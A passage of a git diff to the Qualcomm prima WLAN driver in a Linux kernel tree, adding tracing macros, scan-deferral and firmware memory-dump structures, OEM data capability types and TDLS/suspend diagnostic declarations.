WLANDXE_SetPowerState { HDXE_ASSERT(0); } + DXTRACE(dxeTrace(WLANDXE_DMA_CHANNEL_MAX, TRACE_POWER_STATE, + pDxeCtrlBlk->hostPowerState)); + } + + if (WDTS_POWER_STATE_FULL == powerState && + WLANDXE_POWER_STATE_FULL == pDxeCtrlBlk->hostPowerState) { + state = wpal_get_int_state(DXE_INTERRUPT_RX_READY); + if (0 == state && eWLAN_PAL_TRUE == pDxeCtrlBlk->rxIntDisabledByIMPS) { + dxeEnvBlk.rx_imps_set_fp = 1; + WARN_ON(1); + } } HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO_LOW, @@ -5758,11 +5917,13 @@ void WLANDXE_ChannelDebug ===========================================================================*/ void WLANDXE_KickDxe(void) { - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_ERROR, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: Kick Dxe for HDD TX timeout",__func__); /* Make wake up HW */ dxeNotifySmsm(eWLAN_PAL_FALSE, eWLAN_PAL_TRUE); dxeNotifySmsm(eWLAN_PAL_TRUE, eWLAN_PAL_FALSE); + DXTRACE(dxeTrace(WLANDXE_DMA_CHANNEL_MAX, TRACE_SMSM_NOTIFY, + TRACE_WLANDXE_VAR_ENABLE)); } wpt_uint32 WLANDXE_SetupLogTransfer(wpt_uint64 bufferAddr, wpt_uint32 bufferLen) diff --git a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe_i.h b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe_i.h index 23f3b298ea972..9c2eb8f337de9 100644 --- a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe_i.h +++ b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe_i.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -73,6 +73,12 @@ when who what, where, why * -------------------------------------------------------------------------*/ #define WLANDXE_CTXT_COOKIE 0xC00CC111 +#ifdef DXE_TRACE +#define DXTRACE(p) p +#else +#define DXTRACE(p) { } +#endif + #define foreach_valid_channel(idx) \ for (idx = 0; idx < WDTS_CHANNEL_MAX; idx++) \ if (!(dxeGetEnabledChannels() & 1<= KERNEL_VERSION(4, 2, 0)) +static inline void wlan_hdd_cfg80211_indicate_disconnect(struct net_device *dev, + bool locally_generated, + int reason) +{ + cfg80211_disconnected(dev, reason, NULL, 0, + locally_generated, GFP_KERNEL); +} +#else +static inline void wlan_hdd_cfg80211_indicate_disconnect(struct net_device *dev, + bool locally_generated, + int reason) +{ + cfg80211_disconnected(dev, reason, NULL, 0, + GFP_KERNEL); +} +#endif + +struct cfg80211_bss* wlan_hdd_cfg80211_update_bss_list( + hdd_adapter_t *pAdapter, tSirMacAddr bssid); + +struct cfg80211_bss *wlan_hdd_cfg80211_inform_bss_frame(hdd_adapter_t *pAdapter, + tSirBssDescription *bss_desc); #endif diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_ftm.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_ftm.h index a28f17824dcfb..7c7fa9c053374 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_ftm.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_ftm.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -64,6 +64,7 @@ #define WE_ENABLE_DPD 12 #define WE_SET_CB 13 #define WE_TX_CW_RF_GEN 14 +#define WE_SET_POWER_INDEX 15 /* Private ioctls and their sub-ioctls */ #define WLAN_FTM_PRIV_SET_NONE_GET_INT (SIOCIWFIRSTPRIV + 1) @@ -97,6 +98,7 @@ #define WLAN_FTM_PRIV_SET_VAR_INT_GET_NONE (SIOCIWFIRSTPRIV + 7) #define WE_SET_TX_WF_GAIN 1 +#define WE_SET_DUMP 2 #define WE_FTM_MAX_STR_LEN 1024 #define MAX_FTM_VAR_ARGS 7 diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_host_offload.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_host_offload.h index 4eb11765eebb4..07d609b63dcbf 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_host_offload.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_host_offload.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -60,5 +60,15 @@ typedef struct v_MACADDR_t bssId; } tHostOffloadRequest, *tpHostOffloadRequest; +#ifdef FEATURE_WLAN_DIAG_SUPPORT +void hdd_wlan_offload_event(uint8_t type, uint8_t state); +#else +static inline +void hdd_wlan_offload_event(uint8_t type, uint8_t state) +{ + return; +} +#endif /* FEATURE_WLAN_DIAG_SUPPORT */ + #endif // __WLAN_HDD_HOST_OFFLOAD_H__ diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_main.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_main.h index f0e0e79537214..2876dff940cc2 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_main.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_main.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -63,6 +63,8 @@ #endif #include "wlan_hdd_cfg80211.h" +#include /* Necessary because we use the proc fs */ +#include /*--------------------------------------------------------------------------- Preprocessor definitions and constants -------------------------------------------------------------------------*/ @@ -234,6 +236,10 @@ typedef v_U8_t tWlanHddMacAddr[HDD_MAC_ADDR_LEN]; #define MIN(a, b) (a > b ? b : a) #endif +#define SCAN_REJECT_THRESHOLD_TIME 300000 /* Time is in msec, equal to 5 mins */ + +#define WLAN_WAIT_TIME_EXTSCAN 1000 + /* * Generic asynchronous request/response support * @@ -290,7 +296,7 @@ extern spinlock_t hdd_context_lock; #define FW_STATS_CONTEXT_MAGIC 0x5022474E //FW STATS #define GET_FRAME_LOG_MAGIC 0x464c4f47 //FLOG #define MON_MODE_MSG_MAGIC 0x51436B3A //MON_MODE - +#define ANTENNA_CONTEXT_MAGIC 0x414E544E //ANTN #define MON_MODE_MSG_TIMEOUT 5000 #define MON_MODE_START 1 #define MON_MODE_STOP 0 @@ -649,6 +655,9 @@ typedef struct hdd_cfg80211_state_s struct sk_buff *skb; hdd_remain_on_chan_ctx_t* remain_on_chan_ctx; eP2PActionFrameState actionFrmState; + /*is_go_neg_ack_received flag is set to 1 when the + pending ack for GO negotiation req is received*/ + v_BOOL_t is_go_neg_ack_received; }hdd_cfg80211_state_t; @@ -744,7 +753,6 @@ struct hdd_station_ctx /*Save the wep/wpa-none keys*/ tCsrRoamSetKey ibss_enc_key; - hdd_ibss_peer_info_t ibss_peer_info; v_BOOL_t hdd_ReassocScenario; @@ -871,6 +879,19 @@ typedef struct hdd_scaninfo_s }hdd_scaninfo_t; +typedef struct +{ + struct wiphy *wiphy; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + struct net_device *dev; +#endif + struct cfg80211_scan_request *scan_request; + int magic; + int attempt; + int reject; + struct delayed_work scan_work; +}scan_context_t; + /* Changing value from 10 to 240, as later is supported by wcnss */ #define WLAN_HDD_MAX_MC_ADDR_LIST 240 @@ -930,6 +951,22 @@ typedef enum #endif +/* + * @eHDD_SCAN_REJECT_DEFAULT: default value + * @eHDD_CONNECTION_IN_PROGRESS: connection is in progress + * @eHDD_REASSOC_IN_PROGRESS: reassociation is in progress + * @eHDD_EAPOL_IN_PROGRESS: STA/P2P-CLI is in middle of EAPOL/WPS exchange + * @eHDD_SAP_EAPOL_IN_PROGRESS: SAP/P2P-GO is in middle of EAPOL/WPS exchange + */ +typedef enum +{ + eHDD_SCAN_REJECT_DEFAULT = 0, + eHDD_CONNECTION_IN_PROGRESS, + eHDD_REASSOC_IN_PROGRESS, + eHDD_EAPOL_IN_PROGRESS, + eHDD_SAP_EAPOL_IN_PROGRESS, +} scan_reject_states; + typedef struct { struct completion completion; @@ -1025,6 +1062,11 @@ struct hdd_adapter_s struct completion tdls_link_establish_req_comp; eHalStatus tdlsAddStaStatus; #endif + +#ifdef WLAN_FEATURE_RMC + struct completion ibss_peer_info_comp; +#endif /* WLAN_FEATURE_RMC */ + /* Track whether the linkup handling is needed */ v_BOOL_t isLinkUpSvcNeeded; @@ -1136,6 +1178,7 @@ struct hdd_adapter_s #endif /* Flag to ensure PSB is configured through framework */ v_U8_t psbChanged; + v_ULONG_t prev_rx_packets; /* UAPSD psb value configured through framework */ v_U8_t configuredPsb; v_BOOL_t is_roc_inprogress; @@ -1157,6 +1200,12 @@ struct hdd_adapter_s /* Time stamp for start RoC request */ v_TIME_t startRocTs; + + /* Wireless statistics */ + struct iw_statistics iwStats; + + /* Currently used antenna Index*/ + int antennaIndex; }; #define WLAN_HDD_GET_STATION_CTX_PTR(pAdapter) (&(pAdapter)->sessionCtx.station) @@ -1212,8 +1261,41 @@ typedef struct struct mutex macSpoofingLock; }macAddrSpoof_t; -#define WLAN_WAIT_TIME_LL_STATS 5000 +#define WLAN_WAIT_TIME_LL_STATS 800 + +/* FW memory dump feature +@TODO : Move this code to a separate file later */ +#define PROCFS_MEMDUMP_DIR "debug" +#define PROCFS_MEMDUMP_NAME "fwdump" +#define FW_MEM_DUMP_REQ_ID 1 +#define FW_MEM_DUMP_TIMEOUT_MS 800 +#define FW_MEM_DUMP_MAGIC 0x3C3A2D44 + +/** + * struct hdd_fw_mem_dump_req_ctx - hdd fw mem dump req context + * + * @magic : magic for validating cfg80211 requests + * @status: status for cfg80211 requests + * @pHDDCtx: ptr to HDD context + * @req_completion: completion variable for fw mem dump + */ +struct hdd_fw_mem_dump_req_ctx { + uint32_t magic; + bool status; + struct completion req_completion; +}; + +/** + * callback type to check fw mem dump request.Called from SVC + * context and update status in HDD. + */ +typedef void (*hdd_fw_mem_dump_req_cb)(struct hdd_fw_mem_dump_req_ctx *); +int memdump_init(void); +int memdump_deinit(void); +void wlan_hdd_fw_mem_dump_cb(void *,tAniFwrDumpRsp *); +int wlan_hdd_fw_mem_dump_req(hdd_context_t * pHddCtx); +void wlan_hdd_fw_mem_dump_req_cb(struct hdd_fw_mem_dump_req_ctx*); #ifdef WLAN_FEATURE_LINK_LAYER_STATS /** * struct hdd_ll_stats_context - hdd link layer stats context @@ -1228,6 +1310,49 @@ struct hdd_ll_stats_context { struct completion response_event; }; #endif /* End of WLAN_FEATURE_LINK_LAYER_STATS */ +#ifdef WLAN_FEATURE_EXTSCAN +/** + * struct hdd_ext_scan_context - hdd ext scan context + * + * @request_id: userspace-assigned ID associated with the request + * @response_status: Status returned by FW in response to a request + * @ignore_cached_results: Flag to ignore cached results or not + * @capability_response: Ext scan capability response data from target + */ + +struct hdd_ext_scan_context { + v_U32_t request_id; + int response_status; + bool ignore_cached_results; + struct completion response_event; + tSirEXTScanCapabilitiesEvent capability_response; +}; +#endif /* End of WLAN_FEATURE_EXTSCAN */ + +#ifdef WLAN_FEATURE_OFFLOAD_PACKETS +/** + * struct hdd_offloaded_packets - request id to pattern id mapping + * @request_id: request id + * @pattern_id: pattern id + * + */ +struct hdd_offloaded_packets +{ + uint32_t request_id; + uint8_t pattern_id; +}; + +/** + * struct hdd_offloaded_packets_ctx - offloaded packets context + * @op_table: request id to pattern id table + * @op_lock: mutex lock + */ +struct hdd_offloaded_packets_ctx +{ + struct hdd_offloaded_packets op_table[MAXNUM_PERIODIC_TX_PTRNS]; + struct mutex op_lock; +}; +#endif /** Adapter stucture definition */ @@ -1319,6 +1444,7 @@ struct hdd_context_s v_BOOL_t hdd_wlan_suspended; + bool rx_wow_dump; spinlock_t filter_lock; @@ -1333,6 +1459,15 @@ struct hdd_context_s #ifdef WLAN_KD_READY_NOTIFIER v_BOOL_t kd_nl_init; #endif /* WLAN_KD_READY_NOTIFIER */ + +#ifdef FEATURE_OEM_DATA_SUPPORT + /* OEM App registered or not */ + v_BOOL_t oem_app_registered; + + /* OEM App Process ID */ + v_SINT_t oem_pid; +#endif + v_U8_t change_iface; /** Concurrency Parameters*/ @@ -1381,10 +1516,9 @@ struct hdd_context_s tdlsConnInfo_t tdlsConnInfo[HDD_MAX_NUM_TDLS_STA]; /* TDLS peer connected count */ tANI_U16 connected_peer_count; - tdls_scan_context_t tdls_scan_ctxt; + scan_context_t scan_ctxt; /* Lock to avoid race condition during TDLS operations*/ struct mutex tdls_lock; - v_BOOL_t is_tdls_btc_enabled; #endif hdd_traffic_monitor_t traffic_monitor; @@ -1450,11 +1584,57 @@ struct hdd_context_s struct mutex wmmLock; v_BOOL_t mgmt_frame_logging; v_BOOL_t isSetBandByNL; + v_U8_t fw_Version[SIR_VERSION_STRING_LEN]; #ifdef WLAN_FEATURE_LINK_LAYER_STATS struct hdd_ll_stats_context ll_stats_context; #endif /* End of WLAN_FEATURE_LINK_LAYER_STATS */ + +#ifdef WLAN_FEATURE_EXTSCAN + struct hdd_ext_scan_context ext_scan_context; +#endif /* WLAN_FEATURE_EXTSCAN */ + + /* Time since boot up to WiFi turn ON (in micro seconds) */ + v_U64_t wifi_turn_on_time_since_boot; + unsigned long last_suspend_success; + v_U32_t continuous_suspend_fail_cnt; + +#ifdef WLAN_FEATURE_OFFLOAD_PACKETS + struct hdd_offloaded_packets_ctx op_ctx; +#endif + + /* work queue to defer mac spoofing */ + struct delayed_work spoof_mac_addr_work; + + vos_timer_t delack_timer; + struct mutex cur_rx_level_lock; + v_U32_t cur_rx_level; + v_U64_t prev_rx; + v_ULONG_t mode; + + /* bit map to set/reset TDLS by different sources */ + unsigned long tdls_source_bitmap; + + /* tdls source timer to enable/disable TDLS on p2p listen */ + vos_timer_t tdls_source_timer; + + v_U64_t extscan_start_time_since_boot; + v_U8_t last_scan_reject_session_id; + scan_reject_states last_scan_reject_reason; + v_TIME_t last_scan_reject_timestamp; }; +typedef enum { + TP_IND_LOW = 1, + TP_IND_MEDIUM, + TP_IND_HIGH, +}TP_IND_TYPE; + +/* Use to notify the TDLS or BTCOEX is mode enable */ +typedef enum +{ + WLAN_TDLS_MODE, + WLAN_BTCOEX_MODE, +} WLAN_MODE_TYPE; #define WLAN_HDD_IS_LOAD_IN_PROGRESS(pHddCtx) \ (pHddCtx->isLoadUnloadInProgress & WLAN_HDD_LOAD_IN_PROGRESS) @@ -1504,6 +1684,7 @@ typedef enum WLAN_BMUHW_TRACE_LOG_EN = 1<<1, WLAN_QXDM_LOG_EN = 1<<2, WLAN_DPU_TXP_LOG_EN = 1<<3, + WLAN_FW_MEM_DUMP_EN = 1<<6, } WLAN_ENABLE_HW_FW_LOG_TYPE; /*--------------------------------------------------------------------------- @@ -1567,7 +1748,7 @@ v_BOOL_t hdd_is_suspend_notify_allowed(hdd_context_t* pHddCtx); tSirAbortScanStatus hdd_abort_mac_scan(hdd_context_t* pHddCtx, tANI_U8 sessionId, eCsrAbortReason reason); -VOS_STATUS hdd_processSpoofMacAddrRequest(hdd_context_t *pHddCtx); +void hdd_processSpoofMacAddrRequest(struct work_struct *work); void hdd_cleanup_actionframe( hdd_context_t *pHddCtx, hdd_adapter_t *pAdapter ); void crda_regulatory_entry_default(v_U8_t *countryCode, int domain_id); @@ -1600,7 +1781,8 @@ v_BOOL_t hdd_is_valid_mac_address(const tANI_U8* pMacAddr); VOS_STATUS hdd_issta_p2p_clientconnected(hdd_context_t *pHddCtx); VOS_STATUS hdd_is_any_session_connected(hdd_context_t *pHddCtx); void hdd_ipv4_notifier_work_queue(struct work_struct *work); -v_BOOL_t hdd_isConnectionInProgress( hdd_context_t *pHddCtx); +v_BOOL_t hdd_isConnectionInProgress(hdd_context_t *pHddCtx, v_U8_t *session_id, + scan_reject_states *reason); void hdd_set_ibss_ops(hdd_adapter_t *pAdapter); #ifdef WLAN_FEATURE_PACKET_FILTERING int wlan_hdd_setIPv6Filter(hdd_context_t *pHddCtx, tANI_U8 filterType, tANI_U8 sessionId); @@ -1610,11 +1792,34 @@ int wlan_hdd_setIPv6Filter(hdd_context_t *pHddCtx, tANI_U8 filterType, tANI_U8 s void hdd_ipv6_notifier_work_queue(struct work_struct *work); #endif +#ifdef WLAN_FEATURE_RMC +v_MACADDR_t* hdd_wlan_get_ibss_mac_addr_from_staid(hdd_adapter_t *pAdapter, v_U8_t staIdx); +#endif /* WLAN_FEATURE_RMC */ + #ifdef CONFIG_ENABLE_LINUX_REG void hdd_checkandupdate_phymode( hdd_context_t *pHddCtx); #endif int hdd_wmmps_helper(hdd_adapter_t *pAdapter, tANI_U8 *ptr); +/* + * start/stop bandwidth compute timer, Based on which tcp delack + * value will be configured + */ +void hdd_manage_delack_timer(hdd_context_t *pHddCtx); + +void hdd_update_prev_rx_packet_count(hdd_context_t *pHddCtx); +void hdd_start_delack_timer(hdd_context_t *pHddCtx); +void hdd_set_default_stop_delack_timer(hdd_context_t *pHddCtx); +v_U8_t hdd_get_total_sessions(hdd_context_t *pHddCtx); +void hdd_set_delack_value(hdd_context_t *pHddCtx, v_U32_t next_rx_level); + +/* + * Calculate the packet channel bandwidth and send notification to cnss demon + */ +void hdd_request_tcp_delack(hdd_context_t *pHddCtx, + uint64_t rx_packets); +void hdd_tcp_delack_compute_function(void *priv); + #ifdef FEATURE_WLAN_BATCH_SCAN /**--------------------------------------------------------------------------- @@ -1725,8 +1930,23 @@ static inline void hdd_init_ll_stat_ctx(void) return; } #endif /* WLAN_FEATURE_LINK_LAYER_STATS */ -void hdd_wlan_free_wiphy_channels(struct wiphy *wiphy); void hdd_initialize_adapter_common(hdd_adapter_t *pAdapter); - - +void hdd_wlan_free_wiphy_channels(struct wiphy *wiphy); +void wlan_hdd_init_deinit_defer_scan_context(scan_context_t *scan_ctx); +int wlan_hdd_copy_defer_scan_context(hdd_context_t *pHddCtx, + struct wiphy *wiphy, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + struct net_device *dev, +#endif + struct cfg80211_scan_request *request); +void wlan_hdd_schedule_defer_scan(struct work_struct *work); +void wlan_hdd_defer_scan_init_work(hdd_context_t *pHddCtx, + struct wiphy *wiphy, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) + struct net_device *dev, +#endif + struct cfg80211_scan_request *request, + unsigned long delay); +int hdd_reassoc(hdd_adapter_t *pAdapter, const tANI_U8 *bssid, + const tANI_U8 channel, const handoff_src src); #endif // end #if !defined( WLAN_HDD_MAIN_H ) diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_oemdata.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_oemdata.h index db3857dc6ab5e..5b68187dfbefd 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_oemdata.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_oemdata.h @@ -70,6 +70,95 @@ struct iw_oem_data_rsp tANI_U8 oemDataRsp[OEM_DATA_RSP_SIZE]; }; +int oem_activate_service(void *pAdapter); + +int iw_get_oem_data_cap(struct net_device *dev, struct iw_request_info *info, + union iwreq_data *wrqu, char *extra); + +#define OEM_APP_SIGNATURE_LEN 16 +#define OEM_APP_SIGNATURE_STR "QUALCOMM-OEM-APP" + +#define OEM_TARGET_SIGNATURE_LEN 8 +#define OEM_TARGET_SIGNATURE "QUALCOMM" + +#define OEM_CAP_MAX_NUM_CHANNELS 128 + +#define TARGET_TYPE_PRONTO 0xa0 + +#define WLAN_HAL_CHAN_FLAG_DFS 10 + +typedef enum +{ + /* Error null context */ + OEM_ERR_NULL_CONTEXT = 1, + + /* OEM App is not registered */ + OEM_ERR_APP_NOT_REGISTERED, + + /* Invalid signature */ + OEM_ERR_INVALID_SIGNATURE, + + /* Invalid message type */ + OEM_ERR_NULL_MESSAGE_HEADER, + + /* Invalid message type */ + OEM_ERR_INVALID_MESSAGE_TYPE, + + /* Invalid length in message body */ + OEM_ERR_INVALID_MESSAGE_LENGTH +} eOemErrorCode; + +typedef PACKED_PRE struct PACKED_POST +{ + tANI_U8 major; + tANI_U8 minor; + tANI_U8 patch; + tANI_U8 build; +} tDriverVersion; + +typedef PACKED_PRE struct PACKED_POST +{ + /* Signature of chip set vendor, e.g. QUALCOMM */ + tANI_U8 oem_target_signature[OEM_TARGET_SIGNATURE_LEN]; + tANI_U32 oem_target_type; /* Chip type */ + tANI_U32 oem_fw_version; /* FW version */ + tDriverVersion driver_version; /* CLD version */ + tANI_U16 allowed_dwell_time_min; /* Channel dwell time - allowed min */ + tANI_U16 allowed_dwell_time_max; /* Channel dwell time - allowed max */ + tANI_U16 curr_dwell_time_min; /* Channel dwell time - current min */ + tANI_U16 curr_dwell_time_max; /* Channel dwell time - current max */ + tANI_U16 supported_bands; /* 2.4G or 5G Hz */ + tANI_U16 num_channels; /* Num of channels IDs to follow */ + tANI_U8 channel_list[OEM_CAP_MAX_NUM_CHANNELS]; /* List of channel IDs */ +} t_iw_oem_data_cap; + +typedef PACKED_PRE struct PACKED_POST +{ + /* channel id */ + tANI_U32 chan_id; + + /* reserved0 */ + tANI_U32 reserved0; + + /* Primary 20 MHz channel frequency in MHz */ + tANI_U32 mhz; + + /* Center frequency 1 in MHz */ + tANI_U32 band_center_freq1; + + /* Center frequency 2 in MHz - valid only for 11acvht 80plus80 mode */ + tANI_U32 band_center_freq2; + + /* channel info described below */ + tANI_U32 info; + + /* contains min power, max power, reg power and reg class id */ + tANI_U32 reg_info_1; + + /* contains antennamax */ + tANI_U32 reg_info_2; +} tHddChannelInfo; + #endif //__WLAN_HDD_OEM_DATA_H__ #endif //FEATURE_OEM_DATA_SUPPORT diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_power.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_power.h index 9e33c25eed750..87756d4803058 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_power.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_power.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -108,5 +108,32 @@ int wlan_hdd_ipv4_changed(struct notifier_block *nb, int wlan_hdd_ipv6_changed(struct notifier_block *nb, unsigned long data, void *arg); +/** + * enum suspend_resume_state - Suspend resume state + * @HDD_WLAN_EARLY_SUSPEND: Early suspend state. + * @HDD_WLAN_SUSPEND: Suspend state. + * @HDD_WLAN_EARLY_RESUME: Early resume state. + * @HDD_WLAN_RESUME: Resume state. + * + * Suspend state to indicate in diag event of suspend resume. + */ + +enum suspend_resume_state { + HDD_WLAN_EARLY_SUSPEND, + HDD_WLAN_SUSPEND, + HDD_WLAN_EARLY_RESUME, + HDD_WLAN_RESUME +}; + +#ifdef FEATURE_WLAN_DIAG_SUPPORT +void hdd_wlan_suspend_resume_event(uint8_t state); +#else +static inline +void hdd_wlan_suspend_resume_event(uint8_t state) +{ + return; +} +#endif /* FEATURE_WLAN_DIAG_SUPPORT */ + #endif // if !defined __WLAN_QCT_DRIVER_H diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_softap_tx_rx.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_softap_tx_rx.h index 249dda1708223..d7c23ec8bb711 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_softap_tx_rx.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_softap_tx_rx.h @@ -63,6 +63,17 @@ Function declarations and documenation -------------------------------------------------------------------------*/ +/**============================================================================ + @brief hdd_softap_get_connected_sta() - Function to get numbeer of connected + stations with softap + + @param pHostapdAdapter : [in] pointer to saftap adapter + + @return : Number of connected peer with softap + ===========================================================================*/ + +v_U8_t hdd_softap_get_connected_sta(hdd_adapter_t *pHostapdAdapter); + /**============================================================================ @brief hdd_softap_hard_start_xmit() - Function registered with the Linux OS for transmitting packets diff --git a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tdls.h b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tdls.h index 880ab1c5d8281..e19f7f5205427 100644 --- a/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tdls.h +++ b/drivers/staging/prima/CORE/HDD/inc/wlan_hdd_tdls.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -73,6 +73,14 @@ should not be more than 2000 */ #define TDLS_CHANNEL_SWITCH_ENABLE 1 #define TDLS_CHANNEL_SWITCH_DISABLE 2 +enum tdls_disable_source { + HDD_SET_TDLS_MODE_SOURCE_USER = 1, + HDD_SET_TDLS_MODE_SOURCE_SCAN = 2, + HDD_SET_TDLS_MODE_SOURCE_OFFCHANNEL = 4, + HDD_SET_TDLS_MODE_SOURCE_BTC = 8, + HDD_SET_TDLS_MODE_SOURCE_P2P = 16 +}; + typedef struct { tANI_U32 tdls; @@ -87,19 +95,6 @@ typedef struct tANI_S32 rssi_teardown_threshold; } tdls_config_params_t; -typedef struct -{ - struct wiphy *wiphy; -#if (LINUX_VERSION_CODE < KERNEL_VERSION(3,6,0)) - struct net_device *dev; -#endif - struct cfg80211_scan_request *scan_request; - int magic; - int attempt; - int reject; - struct delayed_work tdls_scan_work; -} tdls_scan_context_t; - typedef enum { eTDLS_SUPPORT_NOT_ENABLED = 0, eTDLS_SUPPORT_DISABLED, /* suppress implicit trigger and not respond to the peer */ @@ -122,6 +117,28 @@ typedef enum eTDLSLinkStatus { eTDLS_LINK_TEARING, } tTDLSLinkStatus; +/** + * enum tdls_teardown_reason - Reason for TDLS teardown + * @eTDLS_TEARDOWN_EXT_CTRL: Reason ext ctrl. + * @eTDLS_TEARDOWN_CONCURRENCY: Reason concurrency. + * @eTDLS_TEARDOWN_RSSI_THRESHOLD: Reason rssi threashold. + * @eTDLS_TEARDOWN_TXRX_THRESHOLD: Reason txrx threashold. + * @eTDLS_TEARDOWN_BTCOEX: Reason BTCOEX. + * @eTDLS_TEARDOWN_SCAN: Reason scan. + * @eTDLS_TEARDOWN_BSS_DISCONNECT: Reason bss disconnected. + * + * Reason to indicate in diag event of tdls teardown. + */ + +enum tdls_teardown_reason { + eTDLS_TEARDOWN_EXT_CTRL, + eTDLS_TEARDOWN_CONCURRENCY, + eTDLS_TEARDOWN_RSSI_THRESHOLD, + eTDLS_TEARDOWN_TXRX_THRESHOLD, + eTDLS_TEARDOWN_BTCOEX, + eTDLS_TEARDOWN_SCAN, + eTDLS_TEARDOWN_BSS_DISCONNECT, +}; typedef enum { eTDLS_LINK_SUCCESS, /* Success */ @@ -248,14 +265,6 @@ void wlan_hdd_tdls_extract_da(struct sk_buff *skb, u8 *mac); void wlan_hdd_tdls_extract_sa(struct sk_buff *skb, u8 *mac); -int wlan_hdd_tdls_increment_pkt_count(hdd_adapter_t *pAdapter, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) - const u8 *mac, -#else - u8 *mac, -#endif - u8 tx); - int wlan_hdd_tdls_set_sta_id(hdd_adapter_t *pAdapter, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) const u8 *mac, @@ -265,11 +274,7 @@ int wlan_hdd_tdls_set_sta_id(hdd_adapter_t *pAdapter, u8 staId); hddTdlsPeer_t *wlan_hdd_tdls_find_peer(hdd_adapter_t *pAdapter, -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) const u8 *mac, -#else - u8 *mac, -#endif tANI_BOOLEAN mutexLock); hddTdlsPeer_t *wlan_hdd_tdls_find_all_peer(hdd_context_t *pHddCtx, @@ -344,8 +349,6 @@ int wlan_hdd_tdls_set_responder(hdd_adapter_t *pAdapter, #endif tANI_U8 responder); -int wlan_hdd_tdls_get_responder(hdd_adapter_t *pAdapter, u8 *mac); - int wlan_hdd_tdls_set_signature(hdd_adapter_t *pAdapter, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) const u8 *mac, @@ -380,8 +383,6 @@ void wlan_hdd_tdls_decrement_peer_count(hdd_adapter_t *pAdapter); void wlan_hdd_tdls_check_bmps(hdd_adapter_t *pAdapter); -u8 wlan_hdd_tdls_is_peer_progress(hdd_adapter_t *pAdapter, u8 *mac); - hddTdlsPeer_t *wlan_hdd_tdls_is_progress(hdd_context_t *pHddCtx, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) const u8 *mac, @@ -392,21 +393,13 @@ hddTdlsPeer_t *wlan_hdd_tdls_is_progress(hdd_context_t *pHddCtx, void wlan_hdd_tdls_set_mode(hdd_context_t *pHddCtx, eTDLSSupportMode tdls_mode, - v_BOOL_t bUpdateLast); + v_BOOL_t bUpdateLast, + enum tdls_disable_source source); tANI_U32 wlan_hdd_tdls_discovery_sent_cnt(hdd_context_t *pHddCtx); void wlan_hdd_tdls_check_power_save_prohibited(hdd_adapter_t *pAdapter); -void wlan_hdd_tdls_free_scan_request (tdls_scan_context_t *tdls_scan_ctx); - -int 